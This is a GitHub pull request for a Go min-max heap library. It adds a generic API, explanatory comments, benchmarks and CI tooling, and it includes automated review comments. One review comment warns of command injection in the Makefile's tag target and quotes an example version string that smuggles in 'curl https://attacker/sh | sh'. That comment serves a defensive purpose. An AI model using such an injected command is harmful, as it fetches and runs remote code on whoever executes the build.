Add generic API, pedagogical comments, and performance improvements#2
Conversation
- Add type-safe generic Deheap[T] API for cmp.Ordered types (Go 1.21+) with dedicated algorithm functions using direct < comparisons, eliminating interface dispatch, adapter allocation, and boxing overhead - Add pedagogical comments with ASCII art explaining the min-max heap structure, level alternation, invariants, and worked examples for Push and Pop operations - Inline v1 min2 (cost 81 → 79) by reducing branch count - Add edge case tests for Remove on 1/2-element heaps, Peek/PeekMax on small and empty heaps, and Push-then-Peek transition - Add testable examples for both API surfaces - Add CI workflow, release workflow, Makefile, .gitignore - Add benchmark descriptions to README - Update README with generic API docs and implementation details
There was a problem hiding this comment.
Pull request overview
This PR adds a generic API for cmp.Ordered types, extensive pedagogical documentation with ASCII diagrams, performance optimizations to the v1 interface-based API, and comprehensive build tooling and CI infrastructure.
Changes:
- Introduced generic
Deheap[T]API with direct type operations eliminating interface overhead - Added comprehensive inline comments and ASCII art throughout core algorithm files explaining min-max heap structure and operations
- Optimized
min2function reducing branch count and improving inlinability - Added edge case tests, fuzz tests, and expanded test coverage for both APIs
- Introduced GitHub Actions CI/release workflows, Makefile, version management tooling, and .gitignore
Reviewed changes
Copilot reviewed 13 out of 14 changed files in this pull request and generated 3 comments.
Show a summary per file
| File | Description |
|---|---|
ordered.go |
New generic API implementation with type-safe operations on cmp.Ordered types |
ordered_test.go |
Comprehensive test suite for generic API including edge cases and fuzz tests |
example_ordered_test.go |
Example demonstrating generic API usage |
deheap.go |
Enhanced with pedagogical comments, ASCII diagrams, and optimized min2 function |
deheap_test.go |
Added edge case tests, improved isHeap validation, fixed 1/10 → 0.1 bug, added fuzz tests |
go.mod |
Bumped minimum Go version from 1.13 to 1.21 for generics support |
README.md |
Expanded documentation with API descriptions, complexity analysis, benchmarks, and references |
VERSION |
Major version bump from v1.0 to v2.0.0 |
LICENSE |
Updated copyright year range to 2019-2026 |
Makefile |
Build automation with test, bench, vet, clean, and version bump targets |
tools/sh/bump-version.sh |
Semantic version management script |
.gitignore |
Standard Go project ignore patterns |
.github/workflows/ci.yml |
CI workflow testing across Go 1.21, 1.22, 1.23 |
.github/workflows/release.yml |
Automated release workflow on version tags |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| GO_TEST=$(GO) test | ||
| GO_VET=$(GO) vet | ||
| GO_BENCH=$(GO_TEST) -bench . | ||
| GO_TEST=$(GO) test |
There was a problem hiding this comment.
Duplicate definition of GO_TEST variable. Line 7 redefines GO_TEST which was already defined on line 4. This is redundant and should be removed. The intended definition on line 7 should likely be for GO_BENCH, but since GO_BENCH is correctly defined on line 6, this line appears to be a copy-paste error.
| GO_TEST=$(GO) test |
| The generic API is built on top of the interface API through an internal | ||
| adapter — no heap logic is duplicated. |
There was a problem hiding this comment.
The statement "The generic API is built on top of the interface API through an internal adapter" is incorrect. The generic API in ordered.go implements its own heap operations (orderedBubbledown, orderedBubbleup, orderedMin2, etc.) that operate directly on the slice without using heap.Interface. The comment in ordered.go:161 explicitly states it "eliminates interface dispatch, adapter allocation, and interface{} boxing" by NOT going through heap.Interface. This statement should be corrected to reflect that the generic API is a parallel implementation with duplicated algorithm logic optimized for direct type operations.
| The generic API is built on top of the interface API through an internal | |
| adapter — no heap logic is duplicated. | |
| The generic API is a parallel implementation of the same heap algorithms, | |
| specialized for ordered types to avoid interface dispatch, adapter allocation, | |
| and interface{} boxing. |
| # make tag | ||
| .PHONY: tag | ||
| tag: | ||
| $(GIT) tag -a $(BUILD_VERSION) -m "Release $(BUILD_VERSION)" |
There was a problem hiding this comment.
The tag target uses BUILD_VERSION from the VERSION file unquoted in the git tag -a $(BUILD_VERSION) invocation, so a crafted version string containing shell metacharacters (e.g., v1.2.3; curl https://attacker/sh | sh) will be expanded into additional shell commands when make tag is run. This is a command injection risk if an attacker can influence the VERSION file (for example via a malicious commit or manual edit) and the release tooling runs this target with privileged credentials. Quote BUILD_VERSION in the recipe and/or validate/sanitize the version string so it matches a strict pattern like ^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9_.-]+)?$ before using it in shell commands.
| $(GIT) tag -a $(BUILD_VERSION) -m "Release $(BUILD_VERSION)" | |
| @echo "Using version $(BUILD_VERSION)" | |
| @echo "$(BUILD_VERSION)" | grep -Eq '^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9_.-]+)?$$' || (echo "Error: invalid version '$(BUILD_VERSION)'. Expected format: vMAJOR.MINOR.PATCH[-PRERELEASE]"; exit 1) | |
| $(GIT) tag -a "$(BUILD_VERSION)" -m "Release $(BUILD_VERSION)" |
No breaking changes from the existing API — the generic Deheap[T] is additive. Reserve v2 for if the v1 interface API ever needs to break.
- Add BenchmarkOrderedPush/Pop/PopMax/PushPop to measure generic API performance (Push ~12ns vs v1 ~21ns, Pop ~225ns vs v1 ~288ns, 0 allocs) - Normalize copyright headers to 2019-2026 across all source files - Add missing license header to fuzz.go, then remove it along with corpus/ — native testing.F fuzz targets fully supersede go-fuzz - Fix duplicate GO_TEST definition in Makefile
The generic API is now the headline — faster than container/heap on Push and competitive on Pop with zero allocations.
- README: generic API has its own algorithm implementation, not an adapter - Makefile: quote BUILD_VERSION and validate format before git tag
Summary
Deheap[T]API with dedicated algorithm functions using direct<comparisons — eliminates interface dispatch, adapter heap allocation, andinterface{}boxing that the previous adapter pattern incurreddeheap.goandordered.goexplaining the min-max heap structure, level alternation, invariants, and step-by-step worked examples for Push and Popmin2inlined (cost 81 → 79) by reducing branch count; generic path inlinesorderedLess(cost 18),orderedMin2(cost 43), andorderedMin3(cost 79)cleantarget,.gitignoreGeneric API benchmarks
Measured on Apple M4 Max (arm64), Go 1.23:
Inlining improvements (generic path)
orderedLess)orderedMin2)orderedMin3)orderedMin4)Version
Set to
v1.0.0— the generic API is additive with no breaking changes to the v1 interface API. Reserve v2 for if the interface API ever needs to break.Test plan
go test ./...— all tests passgo test -race ./...— cleango vet ./...— clean